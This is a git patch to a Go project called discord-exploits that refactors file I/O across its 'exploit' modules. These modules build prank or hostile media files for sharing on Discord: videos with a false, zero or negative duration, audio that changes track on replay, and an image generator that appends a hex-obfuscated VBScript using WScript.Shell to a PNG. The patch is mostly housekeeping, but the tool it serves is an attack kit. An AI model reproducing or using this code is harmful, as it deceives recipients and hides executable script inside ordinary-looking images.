From cee058edea1d26823045c70451237f73aa64bf63 Mon Sep 17 00:00:00 2001 From: Schmenn Date: Tue, 23 Mar 2021 12:45:20 +0100 Subject: [PATCH] small fixes [^] /exploits | removed ioutil as it is deprecated [^] /modules/transcode.go | removed annoying ffmpeg output [^] go.mod | changed to go 1.16 [^] exploits.go | removed comment --- exploits.go | 11 ----------- exploits/expanding-video.go | 9 +++++---- exploits/negative-video.go | 11 ++++++----- exploits/twice.go | 12 +++++++----- exploits/virus-image.go | 11 +++++++---- exploits/zero-video.go | 9 +++++---- go.mod | 2 +- modules/transcode.go | 10 +++------- 8 files changed, 34 insertions(+), 41 deletions(-) diff --git a/exploits.go b/exploits.go index 39cf5e9..f057719 100644 --- a/exploits.go +++ b/exploits.go @@ -217,14 +217,3 @@ func initCommand(inputFile string, mode string) { } } } - -/*func test() { - data, err := twice.Asset("twice.ogg") - modules.Check(err) - testData, err := ioutil.ReadFile("test.ogg") - modules.Check(err) - - data = append(data, testData...) - - ioutil.WriteFile("testFinal.ogg", data, 0777) -}*/ diff --git a/exploits/expanding-video.go b/exploits/expanding-video.go index 9175126..a29f97c 100644 --- a/exploits/expanding-video.go +++ b/exploits/expanding-video.go @@ -4,14 +4,13 @@ import ( "bytes" "fmt" "github.com/Schmenn/discord-exploits/modules" - "io/ioutil" "os" ) // RunExpandingVideoTask edits file so that it keeps expanding while it's getting played func RunExpandingVideoTask(fileName string) { - data, err := ioutil.ReadFile(fileName) + data, err := os.ReadFile(fileName) modules.Check(err) index := bytes.Index(data, []byte("\x44\x89\x88")) if index == -1 { @@ -32,6 +31,8 @@ func RunExpandingVideoTask(fileName string) { fmt.Println(name) - ioutil.WriteFile(name, data, os.FileMode(int(0777))) - + err = os.WriteFile(name, data, os.FileMode(0777)) + if err != nil { + panic(err) + } } diff --git a/exploits/negative-video.go b/exploits/negative-video.go index fdf918f..1c0ca9c 100644 --- a/exploits/negative-video.go +++ b/exploits/negative-video.go @@ -3,15 +3,14 @@ package exploits import ( "bytes" "fmt" - "io/ioutil" - "os" "github.com/Schmenn/discord-exploits/modules" + "os" ) // RunNegativeVideoTask edits file so it has got a huge negative duration func RunNegativeVideoTask(fileName string) { - data, err := ioutil.ReadFile(fileName) + data, err := os.ReadFile(fileName) modules.Check(err) index := bytes.Index(data, []byte("\x44\x89\x88")) if index == -1 { @@ -33,6 +32,8 @@ func RunNegativeVideoTask(fileName string) { fmt.Println(name) - ioutil.WriteFile(name, data, os.FileMode(int(0777))) - + err = os.WriteFile(name, data, os.FileMode(0777)) + if err != nil { + panic(err) + } } diff --git a/exploits/twice.go b/exploits/twice.go index 2e3f488..6cb56b9 100644 --- a/exploits/twice.go +++ b/exploits/twice.go @@ -5,7 +5,6 @@ import ( "compress/gzip" "fmt" "io" - "io/ioutil" "os" "path/filepath" "strings" @@ -15,7 +14,7 @@ import ( // RunTwiceAudioTask edits audio file so it plays a different track when played again func RunTwiceAudioTask(fileName string) { - data, err := ioutil.ReadFile(fileName) + data, err := os.ReadFile(fileName) modules.Check(err) twice, err := Asset("twice.ogg") @@ -26,7 +25,10 @@ func RunTwiceAudioTask(fileName string) { name := modules.CreateName("ogg") fmt.Println(name) - ioutil.WriteFile(name, twice, 0777) + err = os.WriteFile(name, twice, os.FileMode(0777)) + if err != nil { + panic(err) + } } func bindataRead(data []byte, name string) ([]byte, error) { @@ -207,7 +209,7 @@ type bintree struct { } var _bintree = &bintree{nil, map[string]*bintree{ - "twice.ogg": &bintree{twiceOgg, map[string]*bintree{}}, + "twice.ogg": {twiceOgg, map[string]*bintree{}}, }} // RestoreAsset restores an asset under the given directory @@ -224,7 +226,7 @@ func RestoreAsset(dir, name string) error { if err != nil { return err } - err = ioutil.WriteFile(_filePath(dir, name), data, info.Mode()) + err = os.WriteFile(_filePath(dir, name), data, info.Mode()) if err != nil { return err } diff --git a/exploits/virus-image.go b/exploits/virus-image.go index 62e80dc..64bf3d1 100644 --- a/exploits/virus-image.go +++ b/exploits/virus-image.go @@ -3,15 +3,15 @@ package exploits import ( "fmt" "github.com/Schmenn/discord-exploits/modules" - "io/ioutil" "os" ) // RunVirusImageTask edits file func RunVirusImageTask(fileName string) { - data, err := ioutil.ReadFile(fileName) + data, err := os.ReadFile(fileName) modules.Check(err) - data = append(data, []byte("\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63"+ + data = append(data, []byte( + "\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63"+ "\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45"+ "\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55"+ "\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A"+ @@ -39,5 +39,8 @@ func RunVirusImageTask(fileName string) { "\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...) name := modules.CreateName("png") fmt.Println(name) - ioutil.WriteFile(name, data, os.FileMode(int(0777))) + err = os.WriteFile(name, data, os.FileMode(0777)) + if err != nil { + panic(err) + } } diff --git a/exploits/zero-video.go b/exploits/zero-video.go index 55a67ab..8298809 100644 --- a/exploits/zero-video.go +++ b/exploits/zero-video.go @@ -4,14 +4,13 @@ import ( "bytes" "fmt" "github.com/Schmenn/discord-exploits/modules" - "io/ioutil" "os" ) // RunZeroVideoTask edits file so it has got a duration of 0 func RunZeroVideoTask(fileName string) { - data, err := ioutil.ReadFile(fileName) + data, err := os.ReadFile(fileName) modules.Check(err) index := bytes.Index(data, []byte("\x44\x89\x88")) if index == -1 { @@ -33,6 +32,8 @@ func RunZeroVideoTask(fileName string) { fmt.Println(name) - ioutil.WriteFile(name, data, os.FileMode(int(0777))) - + err = os.WriteFile(name, data, os.FileMode(0777)) + if err != nil { + panic(err) + } } diff --git a/go.mod b/go.mod index 56441f2..822508a 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,3 @@ module github.com/Schmenn/discord-exploits -go 1.15 +go 1.16 diff --git a/modules/transcode.go b/modules/transcode.go index 191a829..deae91c 100644 --- a/modules/transcode.go +++ b/modules/transcode.go @@ -12,23 +12,19 @@ func Transcode(input string, to string) string { output := CreateName(to) if strings.HasSuffix(input, ".ogg") || strings.HasSuffix(input, ".mp3") || strings.HasSuffix(input, ".m4a") { - out, err := exec.Command(path, "-i", input, "-ar", "44100", "-y", "-c:a", "libvorbis", output).CombinedOutput() + _, err := exec.Command(path, "-i", input, "-ar", "44100", "-y", "-c:a", "libvorbis", output).CombinedOutput() Check(err) fmt.Println("temporarily saving transcoded file to " + output) - - fmt.Println(string(out)) - + return output } - out, err := exec.Command(path, "-i", input, output).CombinedOutput() + _, err := exec.Command(path, "-i", input, output).CombinedOutput() Check(err) fmt.Println("temporarily saving transcoded file to " + output) - fmt.Println(string(out)) - return output }